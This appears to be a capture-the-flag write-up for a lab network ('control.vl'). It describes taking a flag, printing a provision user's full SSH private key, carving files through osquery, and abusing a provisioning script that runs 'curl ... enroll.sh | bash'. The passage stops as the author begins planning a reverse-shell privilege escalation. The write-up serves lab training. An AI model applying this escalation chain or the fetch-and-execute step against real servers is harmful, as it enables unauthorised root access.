⠀⢿⣦⢡⣿⠀⠌⡐⠩⡄⢊⢵⣇⣠⣀⣀⡀⠀⠀⠀⠀⣼⠟⢁⢀⠂⠆⡌⢢⢿⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣤⡀⠀⠀⠀⠀⣾⣅⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢻⡏⢷⡣⠜⣈⠆⡡⠂⠌⣷⠀
⠀⠀⢹⡞⣧⠈⡆⢡⠃⣼⣾⡟⠛⠉⠉⠉⠛⣷⡄⠀⢸⡏⠐⢨⡄⡍⠒⣬⢡⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣴⡟⠁⠀⠀⠀⠀⠑⢻⣶⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⣴⣾⡖⣶⣦⠀⠀⠀⠀⠀⠀⠀⢸⡏⡜⣷⢱⢨⡆⢱⠈⡆⣿⠀
⠀⠀⠀⠽⣇⠎⡰⣩⡼⡟⠁⠄⡀⠠⠀⠀⠀⠈⢿⡄⡿⢄⢃⠖⡰⣉⠖⣡⡿⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣷⡿⠁⣀⣠⣀⣤⣤⣤⣼⣿⣷⣦⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣰⢯⠋⡀⢀⠀⠉⢿⣆⠀⠀⠀⠀⠀⣸⢗⢡⣿⣂⣖⣨⡱⢊⡔⣿⠀
⠀⠀⠀⠀⣯⠒⠥⡾⢇⠰⡉⠔⡠⠃⡌⢐⠡⠀⣼⡟⡓⢌⢒⢪⠑⣌⡾⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣴⣿⣿⣿⣻⠭⠿⠛⠒⠓⠚⠛⠛⠿⣿⣿⣿⣿⣳⡶⢦⣄⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣾⡚⠤⣁⠢⠐⣀⠀⣿⡀⠀⠀⠀⢈⡟⣸⢟⠉⠁⠀⠉⠙⢷⣴⠇⠀
⠀⠀⠀⠀⢿⣩⢲⣟⢌⡒⡱⢊⠴⢡⢘⣄⣢⣽⠞⡑⢌⠂⢎⠤⢋⡞⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣠⣶⣿⣿⣿⠿⠋⡀⢀⠠⠀⠄⠠⠂⠄⠄⡠⠀⠄⡈⠉⠛⠛⠛⡙⠺⣭⡗⣦⣄⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⢿⣰⠂⡅⢣⠐⡠⢽⡇⠀⠀⢀⡾⡅⣯⢄⠊⠤⢁⠂⠄⠀⠙⣧⡀
⠀⠀⠀⠀⠺⣇⢾⢭⢢⠱⣡⠋⣔⣷⠋⡍⠰⢀⠊⠰⢈⠜⡠⢊⣽⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⡶⣿⡿⠛⠛⡉⡁⢄⠂⡔⢠⠂⡅⢊⢡⠘⡐⢌⣠⡑⠢⢐⠡⢊⠔⡡⢂⠅⣂⠙⡳⣎⡟⣶⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠹⣯⠰⢃⡜⢠⢺⡇⠀⢰⡾⠅⠃⢿⣜⠌⡒⢄⢊⡐⡁⢂⠘⣧
⠀⠀⠀⠀⠀⢻⣺⡇⢎⡱⢄⡓⣾⠄⢣⠈⠅⡂⠡⠑⡈⢢⠑⢢⡟⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣴⡾⣫⠗⡅⣢⣥⣧⢽⠶⠟⣶⢶⣿⠆⡜⡐⠦⠱⢌⠢⡜⢏⣿⠛⣛⠳⢾⣤⡣⡜⣠⠓⡤⢩⢳⡎⡝⡷⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⡟⡰⢈⠆⡹⣇⣰⠿⡀⢌⠒⠤⠙⢷⣼⡠⢆⡔⢡⠂⠔⣻
⠀⠀⠀⠀⠀⠐⢻⣏⠦⣑⢊⠔⣿⠈⢆⡑⠂⡌⢠⠑⡈⠤⡉⢼⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣴⢻⢣⠞⣣⢵⣾⡿⢋⠃⢆⠬⣹⠗⡬⡑⢎⠴⣉⠎⣕⢪⡑⢎⠲⡸⢯⣅⡚⠤⡘⡙⠿⣶⣍⡒⠧⢎⠼⣑⢣⢏⢷⣆⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⡿⡐⠥⠚⡄⡙⠓⠤⡑⢌⡘⠤⡉⣼⢌⣷⠢⠜⢢⠉⢆⣿
⠀⠀⠀⠀⠀⠀⠐⣯⣚⠤⡋⡜⢫⠩⢄⠢⡑⡠⢃⠰⡁⢆⠱⣈⡧⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣾⠏⣎⢣⣾⣿⡋⢍⡰⢌⡚⣌⣾⢋⠳⡰⣉⢎⠲⣡⠚⡤⠣⡜⣌⢣⠱⣩⠙⠷⣧⠵⡨⠜⡨⠻⣿⣇⠮⣑⢎⢣⠞⣬⡙⣯⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣸⢻⡌⡱⢃⡜⣨⡕⢢⠑⣢⠘⢤⣹⢏⡜⣠⢣⠙⢦⡙⢦⠇
⠀⠀⠀⠀⠀⠀⠀⠽⣎⠖⡱⢌⠥⢊⠖⠓⠒⠿⣮⡔⡡⢎⠰⢂⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣼⡛⣆⡛⣴⣿⡟⠰⣌⠲⡌⢶⢞⡋⢦⡉⠖⣑⣢⣮⣵⣶⣷⣶⣷⣶⣶⣥⣧⣢⡙⢢⡑⢎⡡⡙⠴⣛⠛⡦⢓⢬⠚⣌⡓⢦⡹⢜⡻⣆⠀⠀⠀⠀⠀⠀⠀⠀⢰⣿⢜⡢⢱⣡⡿⠛⠛⢒⠳⢤⢋⠴⣛⠣⡔⢢⢎⡙⢦⣱⠟⠀
⠀⠀⠀⠀⠀⠀⠀⠀⢻⣝⡰⣉⠖⣡⠚⣈⠁⠄⠈⢻⣶⡨⢡⢃⡿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⡾⢳⠍⣦⠱⣊⠏⡽⣉⢆⠳⢌⠣⢆⡙⣤⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣼⡠⢃⠝⡢⢅⠫⡔⡍⢦⠹⢤⡙⢦⠱⣋⡜⡻⣆⠀⠀⠀⠀⠀⠀⠀⠈⢻⣜⠲⣱⣿⠀⠂⡍⠰⣈⠦⡉⢖⡡⢓⡌⢣⠎⣜⣶⠏⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠠⢻⣖⡡⠞⣄⠓⡄⠣⢐⠀⠀⢻⣿⣥⡾⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⡾⣍⢧⢫⠔⡫⠴⣉⠖⡡⢎⡱⢊⡱⣼⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣎⡑⢎⡱⡘⡜⢢⠝⣢⡙⣌⢳⡑⢮⠱⣹⣆⠀⠀⠀⠀⠀⠀⠀⠈⢿⡱⣿⣿⠀⢃⠌⡱⢠⢒⡉⢦⡑⢣⡜⢣⣾⠞⠁⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠻⣼⠱⣌⠓⡬⠑⡌⠠⠁⢸⣿⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣾⢑⠎⡖⣩⢎⡱⢣⠜⡬⡑⢎⠔⣣⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣮⡢⡑⡜⢌⡱⢪⠔⡱⢊⢦⠹⣌⠏⣄⢻⡆⠀⠀⠀⠀⠀⠀⠀⠁⠙⢿⣿⡌⡐⢌⠰⠡⢎⠜⣢⠙⣦⡽⠟⠁⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠻⣦⣝⡰⢩⢌⠱⣈⣾⠏⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣸⠇⣎⠹⡬⣑⠎⣔⠣⣍⠒⡭⢌⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⡕⡘⠦⣡⢃⢎⡱⣉⢦⢋⡜⡎⢥⠊⣿⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠹⣿⣔⣈⠒⣍⣢⣽⡴⠟⠉⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠙⠛⠚⠛⠉⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⡿⠐⣌⢓⠲⣉⠞⡤⢓⠬⡑⢆⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣎⢒⡡⠎⢦⠱⡌⠦⡍⠖⣭⠒⡌⢸⣇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠙⠛⠋⠉⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢼⡇⢢⠙⡜⢦⢋⡴⢡⠚⡤⢓⣼⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡌⢣⠔⡌⢦⠱⢢⠕⡲⣉⠖⣁⠚⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣾⠁⢢⠹⣌⠳⣌⠲⣡⢋⠴⣹⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡐⢎⡜⢢⡙⢆⢫⠱⣌⠳⣀⠂⣿⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠠⣿⠐⢂⠳⣌⠳⣌⠳⣄⢋⣴⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡰⢌⠣⡜⣌⠣⡝⢤⠳⢄⠂⢹⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⠀⢣⡙⣔⠣⡜⠲⡌⢦⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣧⢊⠵⡘⢤⡓⢬⢣⡙⠢⠌⢸⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠸⣿⠈⠴⡱⢌⡳⢌⠳⡘⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣎⠲⣉⠦⡙⣆⢣⠚⡅⠊⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⣿⡈⡱⣘⢣⠜⡬⢣⢹⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡰⡡⢎⡱⡌⡖⣍⠒⡡⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⡇⡒⣍⠮⡜⢆⢣⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠟⡋⠍⡠⠄⡠⢀⠂⡍⢙⠻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣧⡑⢮⠰⡱⢜⡢⠍⢤⣿⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣺⣇⣱⢎⢲⣉⠮⢼⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⢟⡋⠔⣡⠘⠤⡑⢨⠐⡁⢎⠠⢃⠌⡐⡙⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡜⣌⢣⠕⣎⡱⣩⢘⡿⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠩⣷⡐⣏⠦⣃⠞⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡟⡑⠢⠜⡰⢠⢉⠒⡌⢄⠣⡘⠄⠣⢌⠢⡑⢌⠢⡙⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣯⠔⣣⢚⡴⣑⡃⢾⠇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣷⠸⣜⡰⢻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠋⡴⢉⠜⢢⠑⠢⢌⠒⡌⢢⠑⠤⣉⠲⡈⢆⠱⢌⠢⢡⠃⡽⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⢜⢢⠣⢖⡱⢌⡿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⢻⣷⢆⡇⣻⣿⣿⣿⣿⣿⣿⣿⣿⡿⣁⠳⢨⠜⡨⢆⣉⠣⣊⠜⣈⠆⣙⡐⢢⠡⣑⢊⠒⡌⢣⢑⡊⡔⣊⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡎⡖⣹⢊⡵⣿⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⣿⢼⡘⣽⣿⣿⣿⣿⣿⣿⣿⢏⠦⣡⢋⠲⢌⡑⠦⢌⡱⡐⠎⡤⠩⢔⠨⡅⢃⠲⢌⡱⢌⡱⢢⠱⡘⢤⣉⠻⣿⣿⣿⣿⣿⣿⣿⣿⡗⣍⠖⣯⣼⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⢺⡱⣚⣿⣿⣿⣿⣿⠟⡕⢎⠲⡡⢎⡱⢊⡜⡘⢆⠲⢡⠓⣌⠓⣌⠓⣌⢃⠳⣈⠲⢌⡒⣡⢣⡙⠦⣌⠣⡍⢿⣿⣿⣿⣿⣿⣿⡹⡰⣋⢿⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢿⡟⡠⢇⠼⣻⠿⣟⢣⠟⡸⢜⢣⠣⡜⡠⢇⡸⢣⠜⢣⠇⡛⣄⢛⡀⢟⡀⠟⡤⢃⠻⡄⢣⢄⢣⡘⢇⡄⢧⠛⣤⢘⡿⣿⣿⣿⢟⡣⢣⠇⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠚⣧⡑⡌⠒⡡⠚⢤⣳⡾⣱⠪⣅⠳⢬⠱⣊⠴⣃⠮⡑⢎⡱⢌⠦⣙⢢⡙⡜⡰⣉⠖⣩⠲⡌⢦⡙⠦⡜⢢⠛⡤⢓⡜⣆⠳⡜⢪⡑⢣⠋⣾⢁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠙⣷⣄⣁⣠⣽⡟⢧⡱⢆⡳⣌⢓⡎⡱⣌⠳⣌⢲⣉⠖⡱⢊⠖⣡⢒⡱⣌⡱⡘⣜⢢⢓⡜⣢⡙⣜⡘⣣⢝⡸⣛⢾⣌⡳⢈⠥⠘⠠⢡⡿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠙⠛⠋⠉⠛⢧⡝⣎⠵⣌⠧⡜⡱⣌⠳⣌⠶⡌⢞⡡⢏⠼⣡⢎⡱⢢⠵⡱⣌⢎⠦⣱⢡⠞⣤⠛⡴⢪⠵⣩⢞⣼⠿⢶⣤⣥⣤⡿⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠙⠳⣽⡘⢮⡱⢳⣌⠳⣜⢢⡝⣢⢝⡸⢲⢡⠞⣰⠣⡞⡱⣌⢎⢞⡰⢣⠞⣔⡫⣜⢣⣿⠶⠋⠀⠀⠀⠈⠉⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠓⠯⣧⣎⠳⣬⢓⡬⡱⢎⡵⣋⡬⣛⠴⣋⠶⡱⢎⡞⡬⢳⡍⣞⣦⠷⠛⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢈⡙⠓⠻⠶⠽⢮⣶⣥⣷⣭⣾⣥⣯⡵⠯⠼⠗⠛⠋⣉⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀

Hummmm a rabbit hole

But enumerating the /root folder, we found a binary and executed it we grab the flag Control_User-2:

root@os:/home/kara# cd /root
root@os:~# ls -la
total 64
drwx------  6 root root  4096 Jul  2  2023 .
drwxr-xr-x 19 root root  4096 Jun 30  2023 ..
lrwxrwxrwx  1 root root     9 Jul  1  2023 .bash_history -> /dev/null
-rw-r--r--  1 root root  3106 Oct 15  2021 .bashrc
drwxr-xr-x  2 root root  4096 Jul  1  2023 .cache
drwxr-xr-x  3 root root  4096 Jul  2  2023 .local
-rw-r--r--  1 root root   161 Jul  9  2019 .profile
-rwx------  1 root root 14473 Jul  1  2023 root_41d12b.txt
-r--------  1 root root 14440 Jul  1  2023 root.txt
drwx------  3 root root  4096 Jun 30  2023 snap
drwx------  2 root root  4096 Jul  1  2023 .ssh
root@os:~# ./root_41d12b.txt 
VL{b064b050423a75491dd04228d3fe2bd2}

We found also the private key of the provision user:

root@os:/home/kara# cat /home/provision/.ssh/id_ed25519
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACD2NspeM5e+9QPp/+72xAdZBf6W7Atu1xeReclegneekgAAAKBstvXdbLb1
3QAAAAtzc2gtZWQyNTUxOQAAACD2NspeM5e+9QPp/+72xAdZBf6W7Atu1xeReclegneekg
AAAEBH7rmgDkYbQ3Z27wceCcq6P+GMh9hFyNHFZe5z2dQv//Y2yl4zl771A+n/7vbEB1kF
/pbsC27XF5F5yV6Cd56SAAAAGlRlbXBvcmFyeSBQcm92aXNpb25pbmcgS2V5AQID
-----END OPENSSH PRIVATE KEY-----

intra.control.vl

The final goal should be to become root on intra.control.vl

Enumeration

Using osctrl, we enumerate the intra instance.

We try to carve the /root/.ssh/id_ed25519 file but does not exist.

Try again if any public key can be found in /root/.ssh/authorized_keys:

image

image

We download it and review:

$ tar -xvf _carved_files_91F94D56-F054-A934-8B3B-38EA8036D83A_2syrJVmw4RKPPhA2L6EF52Iupic_-root-.ssh-authorized_keys.tar 
tar: Removing leading `/' from member names
/tmp/osquery_carve_be53c1b3-dc2f-49db-9a1f-894ddd771983/root/.ssh/authorized_keys
                                                                                                                                                                     
$ cat tmp/osquery_carve_be53c1b3-dc2f-49db-9a1f-894ddd771983/root/.ssh/authorized_keys 
command="/opt/provision/provision.sh" ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPY2yl4zl771A+n/7vbEB1kF/pbsC27XF5F5yV6Cd56S Temporary Provisioning Key

We have the public key for provision user on os.control.vl:

provision@os:~/.ssh$ cat id_ed25519.pub 
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPY2yl4zl771A+n/7vbEB1kF/pbsC27XF5F5yV6Cd56S Temporary Provisioning Key
  • Interesting, the public key of root on intra.control.vl is the same than provision on os.control.vl.
  • This means the provision user can run /opt/provision/provision.sh as root.

Download the script via carve and take a look:

$ cat provision.sh                                                                    
#!/usr/bin/bash

# (c) 2022-2023 by Kara Leblanc
#
# This is a temporary server provision wrapper for control.vl unix servers.
#
# For security reasons the provisioning ssh key is only allowed to run
# this script and not all commands on the machine.
# This script will only allow to run commands that are contained in special
# modules in the modules/ directory. Despite being highly secure there are
# probably better solutions to our problem but we need to evaluate them. We
# will therefore stick with this script for now.

set -- $SSH_ORIGINAL_COMMAND
if  -n $1  ; then
  module=$(basename ${1})
  shift
  if  -f /opt/provision/modules/$module && -x /opt/provision/modules/$module  ; then
    exec "/opt/provision/modules/$module" "$@"
  fi
fi

This script takes the first argument after our ssh login command, and if an executable file of that name exists in /opt/provision/modules/, it runs that script and passes all the rest of the arguments we provide to ssh, into that script.

For example, if our command was:

ssh -i provision.key root@intra.cells.control.vl pwned arg1 arg2

Then, provision.sh would check if an executable file with the name /opt/provision/modules/pwned exists, and it executes /opt/provision/modules/pwned arg1 arg2 if it does.

Next we want to find out what scripts we could even run so we will carve via osctrl the files existing in /opt/provision/modules/ folder.

select path from file where path LIKE '/opt/provision/modules/%%'

image

image

{
  "name": "query_6def026b6603ddbde86f79f47150c6e9",
  "result": [
    {
      "path": "/opt/provision/modules/prov_df"
    },
    {
      "path": "/opt/provision/modules/prov_osqd"
    },
    {
      "path": "/opt/provision/modules/prov_uname"
    }
  ],
  "status": 0,
  "message": ""
}

That took a time to download all files to review them…

Finally, we recognize that we can abuse the /opt/provision/modules/prov_osqd script:

$ cat prov_osqd   
#!/usr/bin/bash
if  ; then
  echo "Missing options." >&2
  exit 42
fi
curl -sk https://os.control.vl/${1}/${2}/enroll.sh | bash

This script takes 2 arguments, uses them to form a url, from which a shell script is downloaded and executed

Privilege escalation via altered enroll.sh script on OS to affect INTRA

As we are already root on os.control.vl host then we can change the nginx to serve an enroll.sh script including a bash reverse shell.

We change the nginx default config tls.conf to point to our own web server:

